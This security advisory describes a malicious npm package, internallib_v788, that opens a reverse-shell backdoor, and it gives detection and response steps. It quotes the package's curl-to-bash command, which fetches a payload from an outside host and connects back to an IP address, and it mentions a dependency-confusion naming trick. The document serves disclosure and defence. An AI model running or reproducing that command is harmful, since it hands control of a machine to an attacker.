internallib_v788npm
Advisory published Updated
internallib_v788 is a confirmed malicious npm package (MAL-2026-17649) that opens a backdoor for remote access (malicious version 1.0.1). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in internallib_v788 (npm)
What this malware does
internallib_v788 exports a command function in index.js (line 5) that executes /bin/bash -c "curl https://reverse-shell.sh/10.0.75.246:443|sh", fetching a reverse-shell payload from reverse-shell.sh and piping it to a shell. Invoking the exported API opens an interactive reverse shell from the installer's host back to 10.0.75.246:443, giving that endpoint arbitrary command execution on the installer's machine. The package also declares a self-referential dependency on internallib_v788 with an internallib_ naming prefix, matching the structural shape of a dependency-confusion artifact targeting a private internal registry name.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Backdoor / remote accessFind it
Search your lockfiles and build artifacts for internallib_v788 (version 1.0.1).
If you installed it — respond
internallib_v788 establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If internallib_v788 was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks internallib_v788-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.